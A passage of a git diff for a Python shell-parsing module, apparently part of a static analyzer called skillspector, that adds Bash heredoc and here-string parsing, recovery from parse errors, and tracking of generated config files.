if supplied_text != decoded: + limitations.append(_span_limitation(command.span)) + continue + parsed = _parse_maven( + resolved, + decoded, + raw, + file_budget, + expected_root="settings", + require_expected_root=True, + ) + changes.extend(parsed.changes) + if parsed.limitations: + limitations.append(_span_limitation(command.span)) + return DependencySourceParseResult( + changes=tuple(changes), + limitations=tuple(limitations), ) diff --git a/src/skillspector/shell_frontend.py b/src/skillspector/shell_frontend.py index 6751fc11..257344a5 100644 --- a/src/skillspector/shell_frontend.py +++ b/src/skillspector/shell_frontend.py @@ -32,6 +32,7 @@ DependencyWorkBudget, DependencyWorkExhaustion, DependencyWorkResource, + GeneratedConfig, ShellDialect, ShellExtractionResult, ShellFrontendResult, @@ -56,6 +57,7 @@ EXPECTED_BASH_ABI_VERSION: Final = 15 EXPECTED_BASH_SEMANTIC_VERSION: Final = (0, 25, 1) MAX_TREE_SITTER_READ_BYTES: Final = 4_096 +_GENERATED_UNKNOWN_MARKER: Final = b"SKILLSPECTOR_UNRESOLVED" _MARKDOWN_SUFFIXES: Final = frozenset({".md", ".markdown", ".mdown", ".mkd"}) _UNSUPPORTED_SHELL_SUFFIXES: Final = frozenset({".zsh", ".envrc", ".ksh"}) _SUPPORTED_FENCE_DIALECTS: Final = { @@ -703,6 +705,8 @@ class _ExecutionRegionKind(StrEnum): class _RedirectKind(StrEnum): """Narrow syntax-proven redirect facts; deliberately not an FD model.""" + STDIN_HEREDOC = "stdin_heredoc" + STDIN_HERE_STRING = "stdin_here_string" STDOUT_TRUNCATE = "stdout_truncate" STDOUT_CLOBBER = "stdout_clobber" STDOUT_APPEND = "stdout_append" @@ -858,6 +862,43 @@ class _ValueAtom: quoted: bool = False +@dataclass(frozen=True, slots=True) +class _GeneratedProofEntry: + child_start_byte: int + child_end_byte: int + physical_start_byte: int + physical_end_byte: int + + +@dataclass(frozen=True, slots=True) +class _GeneratedValueProof: + raw_bytes: bytes = field(repr=False) + entries: tuple[_GeneratedProofEntry, ...] = field(repr=False) + unknown_ranges: tuple[tuple[int, int], ...] = field(repr=False) + unknowns_quoted: bool + path: str + physical_size_bytes: int + physical_line_starts: tuple[int, ...] = field(repr=False) + + +@dataclass(frozen=True, slots=True) +class _ProvenGeneratedConfig(GeneratedConfig): + """Private proof carried beside the stable public generated-config fields.""" + + target_proof: _GeneratedValueProof | None = field(default=None, repr=False, compare=False) + content_proof: _GeneratedValueProof | None = field(default=None, repr=False, compare=False) + physical_size_bytes: int = field(default=0, repr=False, compare=False) + physical_line_starts: tuple[int, ...] = field(default=(), repr=False, compare=False) + producer_program_id: str = field(default="", repr=False, compare=False) + producer_command_start_byte: int | None = field(default=None, repr=False, compare=False) + producer_function_id: int | None = field(default=None, repr=False, compare=False) + execution_limitation_span: SourceSpan | None = field( + default=None, + repr=False, + compare=False, + ) + + @dataclass(frozen=True, slots=True) class _BindingIR: name: str = field(repr=False) @@ -941,6 +982,11 @@ class _RedirectFact: kind: _RedirectKind target: _ArgumentIR span: SourceSpan + local_start_byte: int = field(default=0, repr=False) + expands: bool = field(default=False, repr=False) + complete: bool = field(default=True, repr=False) + value_proof: _GeneratedValueProof | None = field(default=None, repr=False) + execution_limitation_span: SourceSpan | None = field(default=None, repr=False) @dataclass(frozen=True, slots=True) @@ -967,8 +1013,11 @@ class _CommandIR: arguments: tuple[_ArgumentIR, ...] prefix_assignments: tuple[AssignmentSite, ...] redirects: tuple[_RedirectFact, ...] + redirects_complete: bool = True prefix_bindings: tuple[_BindingIR, ...] = () program_id: str = field(default="", repr=False) + containing_function_program_id: str | None = field(default=None, repr=False) + containing_function_id: int | None = field(default=None, repr=False) execution_order: int = 0 state_update_order: int = 0 state_frame_id: int = 0 @@ -992,6 +1041,8 @@ class _ShellProgramIR: initial_functions_unknown: bool = False execution_commands: tuple[_CommandIR, ...] = () nested_programs: tuple[_NestedProgramIR, ...] = () + generated_configs: tuple[GeneratedConfig, ...] = () + recovered_generated_drafts: tuple[_RecoveredGeneratedDraft, ...] = field(default=(), repr=False) @dataclass(frozen=True, slots=True) @@ -1108,6 +1159,7 @@ class _FunctionDraft: @dataclass(frozen=True, slots=True) class _RedirectOwner: + node: Node = field(repr=False) statement_start_byte: int body_start_byte: int body_end_byte: int @@ -1124,6 +1176,13 @@ class _RedirectDraft: statement_start_byte: int | None +@dataclass(frozen=True, slots=True) +class _RecoveredGeneratedDraft: + input_fact: _RedirectFact + output_fact: _RedirectFact + function_id: int | None = field(default=None, repr=False) + + @dataclass(frozen=True, slots=True) class _WrapperArgumentsDraft: nodes: tuple[Node, ...] = field(repr=False) @@ -1203,6 +1262,11 @@ def __init__( self.assignment_drafts: list[_AssignmentDraft] = [] self.redirect_owners: dict[int, _RedirectOwner] = {} self.redirect_drafts: list[_RedirectDraft] = [] + self.heredoc_facts_by_statement: dict[int, list[_RedirectFact]] = {} + self.recovered_generated_drafts: list[_RecoveredGeneratedDraft] = [] + self.consumed_error_nodes: set[tuple[int, int, str]] = set() + self.consumed_redirect_nodes: set[tuple[int, int, str]] = set() + self.masked_data_ranges: list[tuple[int, int]] = [] self.wrapper_argument_drafts: list[_WrapperArgumentsDraft] = [] self.event_drafts: list[_ShellEventDraft] = [] self.region_chain_cache: dict[int | None, tuple[_ExecutionRegion, ...]] = {} @@ -2307,7 +2371,896 @@ def _add_region( ), ) ) - return region_id + return region_id + + @staticmethod + def _normalized_heredoc_delimiter( + raw: bytes, + start: int, + limit: int, + ) -> tuple[bytes, bool, int] | None: + """Apply only heredoc delimiter quote removal inside an anchored header.""" + index = start + while index < limit and raw[index] in {9, 32}: + index += 1 + output = bytearray() + quoted = False + quote: int | None = None + ansi_quote = False + while index < limit: + byte = raw[index] + if quote is None: + if byte in {9, 10, 13, 32, 38, 40, 41, 59, 60, 62, 124}: + break + if byte == 36 and index + 1 < limit and raw[index + 1] in {34, 39}: + quoted = True + ansi_quote = raw[index + 1] == 39 + quote = raw[index + 1] + index += 2 + continue + if byte in {34, 39}: + quoted = True + quote = byte + ansi_quote = False + index += 1 + continue + if byte == 92: + quoted = True + if index + 1 >= limit: + return None + if raw[index + 1] == 10: + index += 2 + continue + output.append(raw[index + 1]) + index += 2 + continue + if byte == 0: + return None + output.append(byte) + index += 1 + continue + if byte == quote: + quote = None + ansi_quote = False + index += 1 + continue + if byte == 0 or byte in {10, 13}: + return None + if byte == 92 and quote == 34: + if index + 1 >= limit: + return None + following = raw[index + 1] + if following == 10: + index += 2 + continue + if following in {34, 36, 92, 96}: + output.append(following) + index += 2 + continue + if byte == 92 and ansi_quote: + if index + 1 >= limit or raw[index + 1] not in {39, 92}: + return None + output.append(raw[index + 1]) + index += 2 + continue + output.append(byte) + index += 1 + if quote is not None or not output: + return None + return bytes(output), quoted, index + + def _recovery_step(self, count: int, span: SourceSpan) -> bool: + if exhaustion := self.file_budget.charge_shell_cst_visits( + self.accounting_unit, + count, + ): + self._resource(exhaustion, span) + return False + return True + + def _mask_data_range(self, start_byte: int, end_byte: int) -> None: + if end_byte <= start_byte: + return + index = bisect_left(self.masked_data_ranges, (start_byte, -1)) + if index > 0 and self.masked_data_ranges[index - 1][1] >= start_byte: + index -= 1 + start_byte = min(start_byte, self.masked_data_ranges[index][0]) + end_byte = max(end_byte, self.masked_data_ranges[index][1]) + right = index + while right < len(self.masked_data_ranges): + candidate_start, candidate_end = self.masked_data_ranges[right] + if candidate_start > end_byte: + break + end_byte = max(end_byte, candidate_end) + right += 1 + self.masked_data_ranges[index:right] = [(start_byte, end_byte)] + + def _is_masked_data_node(self, node: Node) -> bool: + index = bisect_right(self.masked_data_ranges, (node.start_byte, len(self.raw))) - 1 + return index >= 0 and node.end_byte <= self.masked_data_ranges[index][1] + + def _body_argument( + self, + start_byte: int, + end_byte: int, + *, + strip_tabs: bool, + fallback_span: SourceSpan, + ) -> _ArgumentIR | None: + output = bytearray() + raw_fragments: list[tuple[int, int, int, int, bool]] = [] + if strip_tabs: + line_index = max(0, bisect_right(self.local_line_starts, start_byte) - 1) + while line_index < len(self.local_lines): + line = self.local_lines[line_index] + if line.start >= end_byte: + break + line_index += 1 + if line.full_end <= start_byte: + continue + segment_start = max(line.start, start_byte) + segment_end = min(line.full_end, end_byte) + while ( + segment_start < min(line.content_end, segment_end) + and self.raw[segment_start] == 9 + ): + segment_start += 1 + if segment_end <= segment_start: + continue + value_start = len(output) + output.extend(self.raw[segment_start:segment_end]) + raw_fragments.append((segment_start, segment_end, value_start, len(output), True)) + elif end_byte > start_byte: + output.extend(self.raw[start_byte:end_byte]) + raw_fragments.append((start_byte, end_byte, 0, end_byte - start_byte, True)) + fragments = self._mapped_fragments(tuple(raw_fragments), fallback_start=start_byte) + if fragments is None: + return None + span = self._span(start_byte, end_byte) if end_byte > start_byte else fallback_span + if span is None: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, fallback_span) + return None + if not self._reserve( + 1 + len(fragments), + value_bytes=len(output), + span=span, + ): + return None + return _ArgumentIR( + StaticValue.exact(bytes(output)), + span, + fragments, + (), + start_byte, + end_byte, + ) + + @staticmethod + def _decode_heredoc_literal( + raw: bytes, + *, + source_start_byte: int, + ) -> tuple[bytes | None, tuple[tuple[int, int, int, int, bool], ...], bool]: + """Decode only Bash's unquoted-heredoc backslash rules.""" + output = bytearray() + fragments: list[tuple[int, int, int, int, bool]] = [] + dynamic_marker = False + index = 0 + while index < len(raw): + byte = raw[index] + if byte == 0: + return None, (), True + if byte == 92 and index + 1 < len(raw): + following = raw[index + 1] + if following == 10: + index += 2 + continue + if following in {36, 92, 96}: + value_offset = len(output) + output.append(following) + self_fragment = ( + source_start_byte + index + 1, + source_start_byte + index + 2, + value_offset, + value_offset + 1, + True, + ) + fragments.append(self_fragment) + index += 2 + continue + if byte in {36, 96}: + dynamic_marker = True + value_offset = len(output) + output.append(byte) + _ShellLowerer._append_surviving_fragment( + fragments, + source_byte=source_start_byte + index, + value_byte=value_offset, + ) + index += 1 + return bytes(output), tuple(fragments), dynamic_marker + + def _native_expanding_body_argument( + self, + body: Node, + *, + fallback_span: SourceSpan, + ) -> _ArgumentIR | None: + expansion_nodes = sorted( + (child for child in body.named_children if child.type != "heredoc_content"), + key=lambda child: (child.start_byte, child.end_byte), + ) + atoms: list[_FoldAtom] = [] + cursor = body.start_byte + literal_bytes = 0 + for expansion in (*expansion_nodes, None): + end = expansion.start_byte if expansion is not None else body.end_byte + if end < cursor: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, fallback_span) + return None + if end > cursor: + literal, raw_fragments, dynamic_marker = self._decode_heredoc_literal( + self.raw[cursor:end], + source_start_byte=cursor, + ) + if literal is None or dynamic_marker: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, fallback_span) + if not self._reserve(1, span=fallback_span): + return None + return _ArgumentIR( + StaticValue.unknown(), + fallback_span, + (), + (), + body.start_byte, + body.end_byte, + ) + literal_bytes += len(literal) + atoms.append( + _FoldAtom( + _ValueAtomKind.LITERAL, + StaticValue.exact(literal), + raw_fragments, + cursor, + end, + ) + ) + if expansion is None: + break + name = self._simple_variable_reference(expansion) + if name is None: + span = self._node_span(expansion) or fallback_span + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, span) + if not self._reserve(1, span=fallback_span): + return None + return _ArgumentIR( + StaticValue.unknown(), + fallback_span, + (), + (), + body.start_byte, + body.end_byte, + ) + atoms.append( + _FoldAtom( + _ValueAtomKind.VARIABLE, + StaticValue.unknown(), + (), + expansion.start_byte, + expansion.end_byte, + name=name, + quoted=True, + ) + ) + cursor = expansion.end_byte + mapped_atoms = self._mapped_atoms(tuple(atoms)) + if mapped_atoms is None: + return None + span = self._span(body.start_byte, body.end_byte) or fallback_span + fragment_count = sum(len(atom.fragments) for atom in mapped_atoms) + if not self._reserve( + 1 + len(mapped_atoms) + fragment_count, + value_bytes=literal_bytes, + span=span, + ): + return None + if all(atom.kind is _ValueAtomKind.LITERAL for atom in mapped_atoms): + exact_value = StaticValue.exact( + b"".join(cast(bytes, atom.value.exact_bytes) for atom in mapped_atoms) + ) + resolved_fragments: list[_ValueFragment] = [] + output_cursor = 0 + for atom in mapped_atoms: + atom_bytes = cast(bytes, atom.value.exact_bytes) + resolved_fragments.extend( + replace( + fragment, + value_start_byte=output_cursor + fragment.value_start_byte, + value_end_byte=output_cursor + fragment.value_end_byte, + ) + for fragment in atom.fragments + ) + output_cursor += len(atom_bytes) + return _ArgumentIR( + exact_value, + span, + tuple(resolved_fragments), + (), + body.start_byte, + body.end_byte, + ) + return _ArgumentIR( + StaticValue.unknown(), + span, + (), + mapped_atoms, + body.start_byte, + body.end_byte, + ) + + def _fallback_body_argument( + self, + start_byte: int, + end_byte: int, + *, + strip_tabs: bool, + expands: bool, + fallback_span: SourceSpan, + ) -> _ArgumentIR | None: + if not expands: + return self._body_argument( + start_byte, + end_byte, + strip_tabs=strip_tabs, + fallback_span=fallback_span, + ) + if strip_tabs: + literal = self._body_argument( + start_byte, + end_byte, + strip_tabs=True, + fallback_span=fallback_span, + ) + if literal is None or literal.value.state is not StaticValueState.EXACT: + return literal + if not any( + marker in cast(bytes, literal.value.exact_bytes) for marker in (b"$", b"`", b"\\") + ): + return literal + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, literal.span) + return replace(literal, value=StaticValue.unknown(), fragments=()) + value, raw_fragments, dynamic_marker = self._decode_heredoc_literal( + self.raw[start_byte:end_byte], + source_start_byte=start_byte, + ) + span = self._span(start_byte, end_byte) or fallback_span + if value is None or dynamic_marker: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, span) + if not self._reserve(1, span=span): + return None + return _ArgumentIR( + StaticValue.unknown(), + span, + (), + (), + start_byte, + end_byte, + ) + fragments = self._mapped_fragments(raw_fragments, fallback_start=start_byte) + if fragments is None: + return None + if not self._reserve( + 1 + len(fragments), + value_bytes=len(value), + span=span, + ): + return None + return _ArgumentIR( + StaticValue.exact(value), + span, + fragments, + (), + start_byte, + end_byte, + ) + + def _here_string_argument(self, redirect: Node, operator_start: int) -> _ArgumentIR | None: + destination = redirect.child_by_field_name("destination") + if destination is None: + named = redirect.named_children + if ( + redirect.type != "herestring_redirect" + or len(named) != 1 + or not redirect.children + or redirect.children[0].type != "<<<" + ): + return None + destination = named[0] + argument = self._argument( + _NodeGroup( + (destination,), + destination.start_byte, + destination.end_byte, + self.raw[destination.start_byte : destination.end_byte], + ) + ) + if argument is None: + return None + if argument.value.state is StaticValueState.EXACT: + value = cast(bytes, argument.value.exact_bytes) + b"\n" + if not self._reserve(1, value_bytes=1, span=argument.span): + return None + argument = replace(argument, value=StaticValue.exact(value)) + elif argument.atoms: + if not self._reserve(1, value_bytes=1, span=argument.span): + return None + argument = replace( + argument, + atoms=( + *argument.atoms, + _ValueAtom( + _ValueAtomKind.LITERAL, + StaticValue.exact(b"\n"), + argument.span, + (), + quoted=True, + ), + ), + ) + span = self._span(operator_start, redirect.end_byte) + if span is None: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, argument.span) + return None + return argument + + def _native_heredoc_fact(self, node: Node) -> _RedirectFact | None: + start_node = next((child for child in node.children if child.type == "heredoc_start"), None) + body_node = next((child for child in node.children if child.type == "heredoc_body"), None) + end_node = next((child for child in node.children if child.type == "heredoc_end"), None) + operator_node = next( + (child for child in node.children if child.type in {"<<", "<<-"}), + None, + ) + if ( + start_node is None + or body_node is None + or end_node is None + or end_node.is_missing + or any(child.is_error or child.is_missing for child in node.children) + ): + return None + descriptor = node.child_by_field_name("descriptor") + if descriptor is not None and self.raw[descriptor.start_byte : descriptor.end_byte] != b"0": + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._node_span(descriptor) or self._point_span(descriptor.start_byte), + ) + return None + operator = operator_node.type if operator_node is not None else "" + operator_start = operator_node.start_byte if operator_node is not None else node.start_byte + start_raw = self.raw[start_node.start_byte : start_node.end_byte] + if operator not in {"<<", "<<-"} or not start_raw: + return None + normalized = self._normalized_heredoc_delimiter(start_raw, 0, len(start_raw)) + if normalized is None: + return None + delimiter, quoted, word_end = normalized + if word_end != len(start_raw): + return None + end_line_index = max(0, bisect_right(self.local_line_starts, end_node.start_byte) - 1) + end_line = self.local_lines[end_line_index] + candidate_start = end_line.start + if operator == "<<-": + while candidate_start < end_line.content_end and self.raw[candidate_start] == 9: + candidate_start += 1 + if ( + self.raw[candidate_start : end_line.content_end] != delimiter + or end_node.start_byte != candidate_start + or end_node.end_byte != end_line.content_end + ): + return None + body_line_index = max(0, bisect_right(self.local_line_starts, body_node.start_byte) - 1) + body_start = self.local_lines[body_line_index].start + operator_span = self._span(operator_start, max(operator_start + 2, start_node.end_byte)) + if operator_span is None: + return None + argument = ( + self._native_expanding_body_argument( + body_node, + fallback_span=operator_span, + ) + if not quoted and operator == "<<" and body_node.start_byte == body_start + else self._fallback_body_argument( + body_start, + end_line.start, + strip_tabs=operator == "<<-", + expands=not quoted, + fallback_span=operator_span, + ) + ) + if argument is None: + return None + self._mask_data_range(body_start, end_line.full_end) + return _RedirectFact( + _RedirectKind.STDIN_HEREDOC, + argument, + operator_span, + operator_start, + expands=not quoted, + ) + + def _candidate_operator_nodes( + self, root: Node + ) -> tuple[list[Node], list[tuple[int, bool, Node | None, bool | None]]]: + nodes: list[Node] = [] + candidates: list[tuple[int, bool, Node | None, bool | None]] = [] + stack = [root] + while stack: + node = stack.pop() + nodes.append(node) + children = list(node.children) + for index, child in enumerate(children[:-1]): + following = children[index + 1] + if not child.is_error or following.type != "file_redirect": + continue + child_raw_end = child.end_byte + if following.start_byte != child_raw_end: + continue + error_raw = self.raw[child.start_byte : child.end_byte] + if error_raw == b"<<": + candidates.append((child.end_byte - 2, True, following, False)) + elif error_raw.endswith(b"<"): + named_types = [named.type for named in child.named_children] + separate_segment = ( + True + if named_types == ["word", "file_redirect"] + else False + if error_raw == b"<" and not named_types + else None + ) + candidates.append((child.end_byte - 1, False, following, separate_segment)) + if node.type != "heredoc_body": + stack.extend(reversed(children)) + return nodes, candidates + + def _fallback_heredoc_facts( + self, + statement: Node, + heredocs: tuple[Node, ...], + function_id: int | None, + ) -> tuple[list[_RedirectFact], list[_RecoveredGeneratedDraft]] | None: + statement_span = self._node_span(statement) or self._point_span(statement.start_byte) + nodes, split_candidates = self._candidate_operator_nodes(statement) + if not self._recovery_step(len(nodes), statement_span): + return None + operator_candidates: dict[int, tuple[bool, Node | None, bool | None]] = {} + for heredoc in heredocs: + operator = next( + (child for child in heredoc.children if child.type in {"<<", "<<-"}), + None, + ) + if operator is not None and operator.end_byte > operator.start_byte: + operator_candidates[operator.start_byte] = (False, None, False) + continue + start_node = next( + (child for child in heredoc.children if child.type == "heredoc_start"), + None, + ) + if start_node is not None: + relative = self.raw[start_node.start_byte : start_node.end_byte].find(b"<<") + if relative >= 0: + operator_candidates[start_node.start_byte + relative] = (False, None, False) + for position, here_candidate, redirect, separate_segment in split_candidates: + if position < statement.start_byte or position + 2 > statement.end_byte: + continue + if here_candidate and self.raw[position : position + 3] == b"<<<": + operator_candidates[position] = (True, redirect, False) + elif not here_candidate and self.raw[position : position + 2] in {b"<<", b"<<-"}: + if separate_segment is None: + return None + operator_candidates[position] = (False, redirect, separate_segment) + if not operator_candidates: + return None + ordered_candidates = sorted(operator_candidates.items()) + first_operator = ordered_candidates[0][0] + header_end = first_operator + while header_end < len(self.raw): + if self.raw[header_end] == 10: + backslashes = 0 + cursor = header_end + while cursor > first_operator and self.raw[cursor - 1] == 92: + backslashes += 1 + cursor -= 1 + if backslashes % 2 == 0: + break + header_end += 1 + if header_end >= len(self.raw): + return None + if not self._recovery_step(header_end - first_operator + 1, statement_span): + return None + + specs: list[tuple[int, bytes, bool, bool, bool, int]] = [] + here_facts: list[_RedirectFact] = [] + separate_input_positions: set[int] = set() + candidate_redirects_by_position: dict[int, Node] = {} + for position, (is_here_string, redirect, separate_segment) in ordered_candidates: + descriptor_start = position + while ( + descriptor_start > statement.start_byte + and 48 <= self.raw[descriptor_start - 1] <= 57 + ): + descriptor_start -= 1 + descriptor = self.raw[descriptor_start:position] + if descriptor not in {b"", b"0"}: + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + self._span(descriptor_start, position + 2) or statement_span, + ) + return None + if is_here_string: + if redirect is None: + return None + self.consumed_redirect_nodes.add(_node_key(redirect)) + argument = self._here_string_argument(redirect, position) + span = self._span(position, redirect.end_byte) + if argument is None or span is None: + return None + here_facts.append( + _RedirectFact( + _RedirectKind.STDIN_HERE_STRING, + argument, + span, + position, + expands=True, + ) + ) + continue + if redirect is not None: + self.consumed_redirect_nodes.add(_node_key(redirect)) + candidate_redirects_by_position[position] = redirect + operator_length = 3 if self.raw[position : position + 3] == b"<<-" else 2 + normalized = self._normalized_heredoc_delimiter( + self.raw, + position + operator_length, + header_end, + ) + if normalized is None: + return None + delimiter, quoted, word_end = normalized + separator_after = self.raw[word_end : word_end + 1] == b";" + specs.append( + (position, delimiter, quoted, operator_length == 3, separator_after, word_end) + ) + if separate_segment: + separate_input_positions.add(position) + + facts: list[_RedirectFact] = list(here_facts) + data_cursor = header_end + 1 + separator_after_by_position: dict[int, bool] = {} + word_end_by_position: dict[int, int] = {} + for position, delimiter, quoted, strip_tabs, separator_after, word_end in specs: + separator_after_by_position[position] = separator_after + word_end_by_position[position] = word_end + body_start = data_cursor + terminator_line: _PhysicalLine | None = None + line_index = max(0, bisect_right(self.local_line_starts, data_cursor) - 1) + while line_index < len(self.local_lines): + line = self.local_lines[line_index] + if line.start < data_cursor: + line_index += 1 + continue + candidate_start = line.start + if strip_tabs: + while candidate_start < line.content_end and self.raw[candidate_start] == 9: + candidate_start += 1 + if self.raw[candidate_start : line.content_end] == delimiter: + terminator_line = line + break + line_index += 1 + body_end = terminator_line.start if terminator_line is not None else len(self.raw) + operator_span = self._span(position, position + (3 if strip_tabs else 2)) + if operator_span is None: + return None + if not self._recovery_step(max(0, body_end - body_start), operator_span): + return None + argument = self._fallback_body_argument( + body_start, + body_end, + strip_tabs=strip_tabs, + expands=not quoted, + fallback_span=operator_span, + ) + if argument is None: + return None + complete = terminator_line is not None + facts.append( + _RedirectFact( + _RedirectKind.STDIN_HEREDOC, + argument, + operator_span, + position, + expands=not quoted, + complete=complete, + ) + ) + data_end = terminator_line.full_end if terminator_line is not None else len(self.raw) + self._mask_data_range(body_start, data_end) + data_cursor = data_end + if not complete: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, operator_span) + break + + recovered: list[_RecoveredGeneratedDraft] = [] + ordered_inputs = sorted(facts, key=lambda item: item.local_start_byte) + if len(separate_input_positions) > 1: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, statement_span) + return None + for index, input_fact in enumerate(ordered_inputs[1:], start=1): + previous_input = ordered_inputs[index - 1] + if input_fact.local_start_byte not in separate_input_positions: + continue + if not separator_after_by_position.get(previous_input.local_start_byte, False): + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, input_fact.span) + return None + proxy = candidate_redirects_by_position.get(input_fact.local_start_byte) + if proxy is None or proxy.end_byte != word_end_by_position.get( + input_fact.local_start_byte + ): + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, input_fact.span) + return None + local_inputs = [input_fact] + local_outputs: list[_RedirectFact] = [] + local_redirect_nodes = sorted( + ( + node + for node in nodes + if node.type in {"file_redirect", "herestring_redirect"} + and previous_input.local_start_byte < node.start_byte < header_end + ), + key=lambda node: (node.start_byte, node.end_byte), + ) + for redirect_node in local_redirect_nodes: + if _node_key(redirect_node) == _node_key(proxy): + continue + if redirect_node.type == "herestring_redirect": + operator = next( + (child for child in redirect_node.children if child.type == "<<<"), + None, + ) + if operator is None: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, input_fact.span) + return None + here_argument = self._here_string_argument( + redirect_node, + operator.start_byte, + ) + here_span = self._span(operator.start_byte, redirect_node.end_byte) + if here_argument is None or here_span is None: + return None + local_inputs.append( + _RedirectFact( + _RedirectKind.STDIN_HERE_STRING, + here_argument, + here_span, + operator.start_byte, + expands=True, + ) + ) + self.consumed_redirect_nodes.add(_node_key(redirect_node)) + continue + output, _extras, supported = self._redirect_parts( + _RedirectDraft(redirect_node, None, statement.start_byte), + allow_fact=True, + ) + if not supported or output is None: + return None + local_outputs.append(output) + self.consumed_redirect_nodes.add(_node_key(redirect_node)) + if ( + not any( + output.local_start_byte < input_fact.local_start_byte + for output in local_outputs + ) + or not local_outputs + ): + continue + final_input = max(local_inputs, key=lambda item: item.local_start_byte) + final_output = max(local_outputs, key=lambda item: item.local_start_byte) + if ( + final_input.target.value.state is not StaticValueState.EXACT + or final_output.target.value.state is not StaticValueState.EXACT + ): + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, final_input.span) + return None + recovered.append(_RecoveredGeneratedDraft(final_input, final_output, function_id)) + for local_input in local_inputs: + if local_input in facts: + facts.remove(local_input) + + for node in nodes: + if node.is_missing and node.type == "heredoc_end": + self.consumed_error_nodes.add(_node_key(node)) + elif node.is_error: + raw = self.raw[node.start_byte : node.end_byte] + allowed = ( + raw == b"&" + or raw in {b"<", b"<<"} + or ( + raw.endswith(b"<") + and any(child.type == "file_redirect" for child in node.children) + ) + ) + if not allowed: + return None + self.consumed_error_nodes.add(_node_key(node)) + elif node.is_missing: + return None + return facts, recovered + + def _preceding_pending_heredoc_error(self, statement: Node) -> Node | None: + separator = statement.prev_sibling + candidate = separator.prev_sibling if separator is not None else None + follows_pending_statement = candidate is not None and ( + candidate.end_point.row == statement.start_point.row + or ( + separator is not None + and self.raw[separator.end_byte : statement.start_byte].strip(b" \t") == b"\\\n" + ) + ) + if ( + separator is None + or separator.type not in {";", "&"} + or candidate is None + or not candidate.is_error + or not follows_pending_statement + ): + return None + child_types = {child.type for child in candidate.children} + return candidate if child_types & {"<<", "<<-"} and "heredoc_start" in child_types else None + + def _prepare_redirected_statement(self, node: Node, function_id: int | None) -> None: + preceding_pending = self._preceding_pending_heredoc_error(node) + heredocs = tuple( + child + for index, child in enumerate(node.children) + if node.field_name_for_child(index) == "redirect" and child.type == "heredoc_redirect" + ) + native: list[_RedirectFact] = [] + native_complete = bool(heredocs) + for heredoc in heredocs: + fact = self._native_heredoc_fact(heredoc) + if fact is None: + native_complete = False + break + native.append(fact) + if preceding_pending is not None: + pending_span = self._node_span(preceding_pending) or self._point_span( + preceding_pending.start_byte + ) + if self._recovery_step(len(preceding_pending.children) + 2, pending_span): + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, pending_span) + return + direct_children = list(node.children) + has_here_string_shape = any( + child.is_error + and self.raw[child.start_byte : child.end_byte] == b"<<" + and index + 1 < len(direct_children) + and direct_children[index + 1].type == "file_redirect" + and direct_children[index + 1].start_byte == child.end_byte + and self.raw[child.start_byte : direct_children[index + 1].start_byte + 1] == b"<<<" + for index, child in enumerate(direct_children) + ) + if native_complete and not has_here_string_shape: + self.heredoc_facts_by_statement[node.start_byte] = native + return + if not heredocs and not has_here_string_shape: + return + recovered = self._fallback_heredoc_facts(node, heredocs, function_id) + if recovered is None: + return + facts, generated = recovered + self.heredoc_facts_by_statement[node.start_byte] = facts + self.recovered_generated_drafts.extend(generated) def walk(self, root: Node) -> None: stack = [_WalkFrame(root, None, None, None, None, 0, None, None)] @@ -2332,11 +3285,15 @@ def walk(self, root: Node) -> None: ) ) continue + if frame.parent_type == "program" and self._is_masked_data_node(node): + continue node_span = self._node_span(node) or self._point_span(node.start_byte) if exhaustion := self.file_budget.charge_shell_cst_visits(self.accounting_unit, 1): self._resource(exhaustion, node_span) break if node.is_error: + if _node_key(node) in self.consumed_error_nodes: + continue if frame.command_owner_start_byte is not None: self.syntax_error_command_starts.add(frame.command_owner_start_byte) if frame.redirect_owner_start_byte is not None: @@ -2344,6 +3301,8 @@ def walk(self, root: Node) -> None: self._issue(ShellIssueReason.SYNTAX_ERROR, node_span) continue if node.is_missing: + if _node_key(node) in self.consumed_error_nodes: + continue if frame.command_owner_start_byte is not None: self.syntax_error_command_starts.add(frame.command_owner_start_byte) if frame.redirect_owner_start_byte is not None: @@ -2424,32 +3383,42 @@ def walk(self, root: Node) -> None: _AssignmentDraft(node, region_id, function_id, prefix, declaration) ) elif node.type == "redirected_statement": + self._prepare_redirected_statement(node, function_id) body = node.child_by_field_name("body") if body is not None: if not self._reserve(1, span=node_span): break self.redirect_owners[node.start_byte] = _RedirectOwner( + node, node.start_byte, body.start_byte, body.end_byte, body.type, substitution_depth, - any(child.is_error or child.is_missing for child in node.children), + any( + (child.is_error or child.is_missing) + and _node_key(child) not in self.consumed_error_nodes + for child in node.children + ), sum( node.field_name_for_child(index) == "redirect" for index in range(len(node.children)) ), ) elif node.type == "file_redirect": + if _node_key(node) in self.consumed_redirect_nodes: + continue if not self._reserve(1, span=node_span): break self.redirect_drafts.append( _RedirectDraft( node, frame.parent_start_byte if frame.parent_type == "command" else None, - frame.parent_start_byte - if frame.parent_type == "redirected_statement" - else None, + ( + frame.parent_start_byte + if frame.parent_type == "redirected_statement" + else frame.redirect_owner_start_byte + ), ) ) elif node.type == "heredoc_redirect" and frame.parent_type == "redirected_statement": @@ -2468,6 +3437,9 @@ def walk(self, root: Node) -> None: ) ) + if node.type == "heredoc_body": + continue + child_frames: list[_WalkFrame] = [] children = list(node.children) async_regions: dict[tuple[int, int, str], int | None] = {} @@ -2646,7 +3618,7 @@ def _redirect_parts( "", ) unsupported = kind is None and ( - raw_operator in {"&>>", ">&", "<&"} + raw_operator in {"<", "<>", "<<", "<<-", "<<<", "&>>", ">&", "<&"} or descriptor is not None or operator in _SUPPORTED_REDIRECT_OPERATORS ) @@ -2669,7 +3641,7 @@ def _redirect_parts( return None, extras, False if not self._reserve(1, span=span): return None, 